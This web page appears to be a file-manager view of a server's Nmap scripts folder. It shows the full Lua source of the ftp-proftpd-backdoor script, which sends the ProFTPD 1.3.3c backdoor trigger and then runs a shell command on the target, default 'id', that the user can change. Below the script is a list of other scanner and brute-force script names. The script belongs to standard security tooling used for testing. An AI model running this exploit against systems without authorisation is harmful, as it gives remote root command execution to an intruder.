ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: usr / share / nmap / scripts

local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"

-- -*- mode: lua -*-
-- vim: set filetype=lua :

description = [[
Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous <code>id</code> command by default, but that can be changed with the <code>ftp-proftpd-backdoor.cmd</code> script argument.
]]

---
-- @usage
-- nmap --script ftp-proftpd-backdoor -p 21 <host>
--
-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
--       <code>id</code>).
--
-- @output
-- PORT   STATE SERVICE
-- 21/tcp open  ftp
-- | ftp-proftpd-backdoor:
-- |   This installation has been backdoored.
-- |   Command: id
-- |   Results: uid=0(root) gid=0(wheel) groups=0(wheel)
-- |_

author = "Mak Kolybabi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}

local CMD_FTP = "HELP ACIDBITCHEZ"
local CMD_SHELL = "id"

portrule = function (host, port)
	-- Check if version detection knows what FTP server this is.
	if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
		return false
	end

-- Check if version detection knows what version of FTP server this is.
	if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
		return false
	end

return shortport.port_or_service(21, "ftp")(host, port)
end

action = function(host, port)
	local cmd, err, line, req, resp, results, sock, status

-- Get script arguments.
	cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
	if not cmd then
		cmd = CMD_SHELL
	end

-- Create socket.
	sock = nmap.new_socket("tcp")
	sock:set_timeout(5000)
	status, err = sock:connect(host, port, "tcp")
	if not status then
		stdnse.print_debug(1, "Can't connect: %s", err)
		sock:close()
		return
	end

-- Read banner.
	local buffer = stdnse.make_buffer(sock, "\r?\n")
	local code, message = ftp.read_reply(buffer)
	if not code then
		stdnse.print_debug(1, "Can't read banner: %s", message)
		sock:close()
		return
	end

-- Check version.
	if not message:match("ProFTPD 1.3.3c") then
		stdnse.print_debug(1, "This version is not known to be backdoored.")
		return
	end

-- Send command to escalate privilege.
	status, err = sock:send(CMD_FTP .. "\r\n")
	if not status then
		stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
		sock:close()
		return
	end

-- Check if escalation worked.
	code, message = ftp.read_reply(buffer)
	if code and code == 502 then
		stdnse.print_debug(1, "Privilege escalation failed: %s", message)
		sock:close()
		return
	end

-- Send command(s) to shell.
	status, err = sock:send(cmd .. ";\r\n")
	if not status then
		stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
		sock:close()
		return
	end

-- Check for an error from command.
	status, resp = sock:receive()
	if not status then
		stdnse.print_debug(1, "Can't read command response: %s", resp)
		sock:close()
		return
	end

-- Summarize the results.
	results = {
	   "This installation has been backdoored.",
	   "Command: " .. CMD_SHELL,
	   "Results: " .. resp
	}

return stdnse.format_output(true, results)
end

[+] ..
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[-] snmp-win32-services.nse [edit]
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[-] icap-info.nse [edit]
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[-] socks-brute.nse [edit]
[-] bitcoin-getaddr.nse [edit]
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[-] resolveall.nse [edit]
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[-] mongodb-brute.nse [edit]
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[-] broadcast-rip-discover.nse [edit]
[-] http-slowloris.nse [edit]
[-] nat-pmp-mapport.nse [edit]
[-] ftp-libopie.nse [edit]
[-] targets-ipv6-multicast-echo.nse [edit]
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[-] membase-brute.nse [edit]
[-] ip-geolocation-ipinfodb.nse [edit]
[-] smb-print-text.nse [edit]
[-] smtp-enum-users.nse [edit]
[-] ajp-brute.nse [edit]
[-] bitcoinrpc-info.nse [edit]
[-] auth-owners.nse [edit]
[-] targets-ipv6-multicast-invalid-dst.nse [edit]
[-] afp-path-vuln.nse [edit]
[-] oracle-brute-stealth.nse [edit]
[-] http-vlcstreamer-ls.nse [edit]
[-] auth-spoof.nse [edit]
[-] nping-brute.nse [edit]
[-] broadcast-dropbox-listener.nse [edit]
[-] afp-ls.nse [edit]
[-] broadcast-db2-discover.nse [edit]
[-] quake3-info.nse [edit]
[-] snmp-sysdescr.nse [edit]
[-] dhcp-discover.nse [edit]
[-] ms-sql-config.nse [edit]
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[-] ipv6-node-info.nse [edit]
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[-] rtsp-methods.nse [edit]
[-] smb-enum-domains.nse [edit]
[-] sniffer-detect.nse [edit]
[-] hbase-master-info.nse [edit]
[-] modbus-discover.nse [edit]
[-] http-rfi-spider.nse [edit]
[-] msrpc-enum.nse [edit]
[-] mysql-query.nse [edit]
[-] ftp-vsftpd-backdoor.nse [edit]
[-] domcon-brute.nse [edit]
[-] citrix-enum-apps-xml.nse [edit]
[-] pjl-ready-message.nse [edit]
[-] sip-brute.nse [edit]
[-] http-vuln-cve2011-3368.nse [edit]
[-] firewalk.nse [edit]
[-] http-gitweb-projects-enum.nse [edit]
[-] http-open-redirect.nse [edit]
[-] ajp-methods.nse [edit]
[-] ip-forwarding.nse [edit]
[-] ncp-serverinfo.nse [edit]
[-] smb-enum-shares.nse [edit]
[-] ssh2-enum-algos.nse [edit]
[-] cvs-brute.nse [edit]
[-] nat-pmp-info.nse [edit]
[-] epmd-info.nse [edit]
[-] bjnp-discover.nse [edit]
[-] stuxnet-detect.nse [edit]
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[-] http-litespeed-sourcecode-download.nse [edit]
[-] gpsd-info.nse [edit]
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[-] broadcast-igmp-discovery.nse [edit]
[-] http-robtex-reverse-ip.nse [edit]
[-] snmp-processes.nse [edit]
[-] broadcast-sybase-asa-discover.nse [edit]
[-] wsdd-discover.nse [edit]
[-] netbus-info.nse [edit]
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[-] pop3-brute.nse [edit]
[-] backorifice-brute.nse [edit]
[-] domcon-cmd.nse [edit]
[-] citrix-enum-apps.nse [edit]
[-] dns-nsec-enum.nse [edit]
[-] rpcap-brute.nse [edit]
[-] ftp-bounce.nse [edit]
[-] stun-info.nse [edit]
[-] dns-update.nse [edit]
[-] broadcast-wake-on-lan.nse [edit]
[-] dns-cache-snoop.nse [edit]
[-] rsync-list-modules.nse [edit]
[-] snmp-netstat.nse [edit]
[-] url-snarf.nse [edit]
[-] snmp-interfaces.nse [edit]
[-] cassandra-info.nse [edit]
[-] http-huawei-hg5xx-vuln.nse [edit]
[-] memcached-info.nse [edit]
[-] http-proxy-brute.nse [edit]
[-] pptp-version.nse [edit]
[-] broadcast-pppoe-discover.nse [edit]
[-] dns-random-srcport.nse [edit]
[-] ip-geolocation-geoplugin.nse [edit]
[-] smb-security-mode.nse [edit]
[-] ms-sql-dump-hashes.nse [edit]
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[-] http-wordpress-enum.nse [edit]
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[-] amqp-info.nse [edit]
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[-] mysql-variables.nse [edit]
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[-] cccam-version.nse [edit]
[-] mysql-brute.nse [edit]
[-] http-malware-host.nse [edit]
[-] http-domino-enum-passwords.nse [edit]
[-] vnc-brute.nse [edit]
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[-] db2-das-info.nse [edit]
[-] broadcast-dhcp6-discover.nse [edit]
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[-] http-form-fuzzer.nse [edit]
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[-] ms-sql-tables.nse [edit]
[-] broadcast-wsdd-discover.nse [edit]
[-] jdwp-info.nse [edit]
[-] mcafee-epo-agent.nse [edit]
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[-] irc-sasl-brute.nse [edit]
[-] http-php-version.nse [edit]
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[-] http-form-brute.nse [edit]
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[-] smbv2-enabled.nse [edit]
[-] ssl-cert.nse [edit]
[-] dns-fuzz.nse [edit]
[-] mysql-enum.nse [edit]
[-] script.db [edit]
[-] rlogin-brute.nse [edit]
[-] ovs-agent-version.nse [edit]
[-] ntp-info.nse [edit]
[-] ajp-auth.nse [edit]
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[-] http-date.nse [edit]
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[-] http-tplink-dir-traversal.nse [edit]
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[-] ms-sql-xp-cmdshell.nse [edit]
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[-] sip-methods.nse [edit]
[-] broadcast-avahi-dos.nse [edit]
[-] hadoop-secondary-namenode-info.nse [edit]
[-] db2-discover.nse [edit]
[-] jdwp-inject.nse [edit]
[-] servicetags.nse [edit]
[-] netbus-brute.nse [edit]
[-] ms-sql-hasdbaccess.nse [edit]
[-] gopher-ls.nse [edit]
[-] asn-query.nse [edit]
[-] firewall-bypass.nse [edit]
[-] redis-brute.nse [edit]
[-] dpap-brute.nse [edit]
[-] imap-capabilities.nse [edit]
[-] smtp-vuln-cve2010-4344.nse [edit]
[-] tls-nextprotoneg.nse [edit]
[-] upnp-info.nse [edit]
[-] http-icloud-findmyiphone.nse [edit]
[-] ventrilo-info.nse [edit]
[-] hostmap-ip2hosts.nse [edit]
[-] wdb-version.nse [edit]
[-] http-qnap-nas-info.nse [edit]
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[-] address-info.nse [edit]
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[-] mysql-audit.nse [edit]
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[-] reverse-index.nse [edit]
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[-] ldap-novell-getpass.nse [edit]
[-] nfs-showmount.nse [edit]
[-] http-vuln-cve2012-1823.nse [edit]
[-] stun-version.nse [edit]
[-] http-fileupload-exploiter.nse [edit]
[-] vnc-info.nse [edit]
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[-] ssh-hostkey.nse [edit]
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[-] http-wordpress-plugins.nse [edit]
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[-] mysql-dump-hashes.nse [edit]
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[-] ndmp-version.nse [edit]
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[-] skypev2-version.nse [edit]
[-] http-open-proxy.nse [edit]
[-] irc-unrealircd-backdoor.nse [edit]
[-] ssl-date.nse [edit]
[-] couchdb-databases.nse [edit]
[-] snmp-win32-software.nse [edit]
[-] whois.nse [edit]
[-] http-email-harvest.nse [edit]
[-] http-virustotal.nse [edit]
[-] broadcast-pim-discovery.nse [edit]
[-] distcc-cve2004-2687.nse [edit]
[-] http-exif-spider.nse [edit]
[-] couchdb-stats.nse [edit]
[-] rpc-grind.nse [edit]
[-] finger.nse [edit]
[-] metasploit-msgrpc-brute.nse [edit]
[-] http-waf-fingerprint.nse [edit]
[-] http-config-backup.nse [edit]
[-] http-vuln-cve2010-2861.nse [edit]
[-] ipv6-ra-flood.nse [edit]
[-] http-phpself-xss.nse [edit]
[-] http-sql-injection.nse [edit]
[-] telnet-encryption.nse [edit]
[-] jdwp-exec.nse [edit]
[-] hddtemp-info.nse [edit]
[-] metasploit-info.nse [edit]
[-] ipidseq.nse [edit]
[-] http-auth.nse [edit]
[-] ncp-enum-users.nse [edit]
[-] sip-enum-users.nse [edit]
[-] daap-get-library.nse [edit]
[-] socks-auth-info.nse [edit]
[-] broadcast-dhcp-discover.nse [edit]
[-] http-vuln-cve2009-3960.nse [edit]
[-] http-coldfusion-subzero.nse [edit]
[-] mongodb-databases.nse [edit]
[-] xdmcp-discover.nse [edit]
[-] http-chrono.nse [edit]
[-] netbus-auth-bypass.nse [edit]
[-] drda-info.nse [edit]
[-] membase-http-info.nse [edit]
[-] smb-flood.nse [edit]
[-] dns-zeustracker.nse [edit]
[-] http-apache-negotiation.nse [edit]
[-] iscsi-info.nse [edit]
[-] smb-server-stats.nse [edit]
[-] mysql-vuln-cve2012-2122.nse [edit]
[-] dns-service-discovery.nse [edit]
[-] creds-summary.nse [edit]
[-] oracle-sid-brute.nse [edit]
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[-] broadcast-pc-anywhere.nse [edit]
[-] http-slowloris-check.nse [edit]
[-] snmp-brute.nse [edit]
[-] ftp-proftpd-backdoor.nse [edit]
[-] imap-brute.nse [edit]
[-] gkrellm-info.nse [edit]
[-] versant-info.nse [edit]
[-] svn-brute.nse [edit]
[-] hadoop-datanode-info.nse [edit]
[-] informix-brute.nse [edit]
[-] mmouse-brute.nse [edit]
[-] samba-vuln-cve-2012-1182.nse [edit]
[-] broadcast-ping.nse [edit]
[-] unusual-port.nse [edit]
[-] smtp-brute.nse [edit]
[-] http-vuln-cve2013-0156.nse [edit]
[-] http-trace.nse [edit]
[-] rmi-dumpregistry.nse [edit]
[-] dns-blacklist.nse [edit]
[-] ldap-brute.nse [edit]
[-] pcanywhere-brute.nse [edit]
[-] dns-client-subnet-scan.nse [edit]
[-] snmp-win32-shares.nse [edit]